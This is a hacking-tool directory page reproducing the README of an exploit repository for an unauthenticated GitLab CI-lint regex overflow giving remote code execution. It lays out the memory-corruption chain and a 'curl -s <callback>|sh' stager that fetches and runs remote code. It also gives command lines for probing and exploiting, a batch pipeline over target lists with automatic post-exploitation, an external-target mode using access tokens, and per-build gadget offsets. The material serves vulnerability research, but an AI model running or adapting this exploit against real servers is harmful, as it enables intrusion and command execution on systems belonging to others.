Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-97229-lab — Docker lab and Python exploit for CVE-2026-97229, an unauthenticated GitLab CI-lint Onigmo regex integer overflow leading to RCE, with probing, layout derivation, and post-exploitation. | Kitploit
Tools/GitHubGitHub/emc-kk/cve-2026-97229-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCryptographyPenetration TestingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubemc-kk/cve-2026-97229-lab

cve-2026-97229-lab

Docker lab and Python exploit for CVE-2026-97229, an unauthenticated GitLab CI-lint Onigmo regex integer overflow leading to RCE, with probing, layout derivation, and post-exploitation.

1 day agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-97229 GitLab CI lint regex integer overflow RCE

CVE-2026-97229 — GitLab CI lint regex OOB write → RCE

Authorized testing only. Use this against systems you own or are explicitly authorized to test (bug-bounty scope, client engagement, your own lab). Unauthorized use is illegal.

English | 中文

An unauthenticated CI-lint request that corrupts the Onigmo matcher and redirects execution to a system() gadget inside libruby.so:

GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
  → include.rules.exists.regexp compiles a crafted pattern
  → a 57k-repeat drives the matcher into a ~2 GiB expansion
  → the write lands past the allocation and redirects the VM frame
  → mov r14,rdi; call system@plt runs a 28-byte stager
  → curl -s <callback>|sh  →  uid=998(git)

The final request is unauthenticated, but planting the malicious CI config requires write access to a public project (or an instance that allows self-registration and public projects).


At a glance

ItemValue
Affected (tested)19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1
Not exploitable19.2.8, 19.3.4 (outlier, see below), 19.3.5, 19.4.2; 19.2.3 has no CE image
Triggerunauthenticated GET /api/v4/projects/:id/ci/lint
Prerequisitesreachability + write to a public project (token, compromised account, or open sign-up)
Impactcommand execution as git (uid 998) inside the GitLab container
PoC constraintsx86_64 builds; layout is per-libruby.so build, not per version string
Advisory boundary19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2

19.3.4 is listed as affected by the advisory but its bundled libruby.so never enters the vulnerable expansion path — we could not weaponize it (repro/evidence/2026-10-18-full-matrix/).


Quick start (lab)

./lab/run.sh 19.4.1                                    # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1

Expected last line:

{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
 "output":"uid=998(git) gid=998(git) groups=998(git)\n..."}

No cloud account and no SSH: the lab is plain Docker (local daemon, DOCKER_HOST, or a docker context). On Docker Desktop add --callback-host host.docker.internal.


How it works

  1. The operator creates a public project and pushes a branch containing a crafted include.rules.exists.regexp plus a 110-byte repository path.
  2. The unauthenticated lint request compiles that pattern; the 57 805-repeat is written as {5(?#)7805} so the Rails-side repeat guard (REPEAT_MAX=1000) does not see it.
  3. On vulnerable builds the matcher materialises the expansion (~2 GiB); the size arithmetic wraps and the write corrupts adjacent memory.
  4. The crafted path supplies a call instruction and the offset of system@plt, redirecting the VM.
  5. The stager is curl -s <callback>|sh, giving a shell as the git service user.

Part 1 — Reproduce (lab)

1.1 Start a target

./lab/run.sh 19.4.1            # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081       # second version on another port

The launcher applies the memory settings the exploit needs (sidekiq off, one Puma worker, small Postgres buffers, --memory 6.5g --shm-size 256m), waits for the UI and sets the root password. See lab/README.md / lab/README_CN.md.

1.2 Probe

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
FieldMeaning
httpstatus of GET /users/sign_in
versionGitLab version read from the container (null without container access)
classadvisory classification: affected / patched / not-listed / unknown
libruby_md5build identity of the target container's libruby.so
layoutfinish / gadget / step (only when the build is known or derivable)
exploitablewhether a layout is available; class=affected does not imply this
layout_sourcetable, derived, or no-overflow-in-build

class: "unknown" simply means no container/version information was available — for a URL-only target the tool cannot classify or derive a layout. See “External targets” below.

1.3 Exploit

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
  --command 'id; hostname; uname -a'

Success criterion: lint is dropped(HTTPError) or http(502) and output starts with uid=998(git). A 200 with valid:true means the build is not vulnerable.

1.4 Version matrix

LineExploitablePatched / not exploitable
19.2.x19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.719.2.8; 19.2.3 has no CE image
19.3.x19.3.0–19.3.319.3.4 (matcher never expands), 19.3.5
19.4.x19.4.0, 19.4.119.4.2

Per-build evidence: repro/evidence/2026-10-18-full-matrix/ (中文).


Part 2 — Weaponize (authorized targets)

2.1 Target formats

# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080

# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1

# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,

container is required for the current exploit path (libruby/layout + rails runner); layout is an optional override for builds the tool cannot read.

2.2 Batch pipeline

python3 exploit/cve97229.py --targets targets.txt --json-out run.json

For each target, in order: probe → exploit → on RCE post-exploitation (exploit/post/collect.sh; override with --post-command-file, disable with --no-post). --probe-only stops after fingerprinting. Exit code 0 if any target gave RCE.

2.3 Layout resolution

The payload needs three per-build constants (finish, system@plt gadget, UTF-8 step). Resolution order:

  1. explicit layout (0x… 0x… 12345);
  2. verified md5 table (10 versions covered);
  3. on-the-fly derivation from the container's libruby.so via exploit/layout.py.

All known vulnerable builds use only two layouts: 0x486DA9/0x31EE29/1249885 and 0x4885A9/0x31E809/1256138.

2.4 External targets (no Docker)

--mode external needs only HTTP and a PAT (api scope): it creates a public project over the API, pushes with oauth2:<token>, fires the unauthenticated lint, and removes the project afterwards.

python3 exploit/cve97229.py --mode external --targets scope.csv \
  --token glpat-... --scope scope.txt --authorized \
  --callback-host 203.0.113.10 --callback-port 80
Download Tool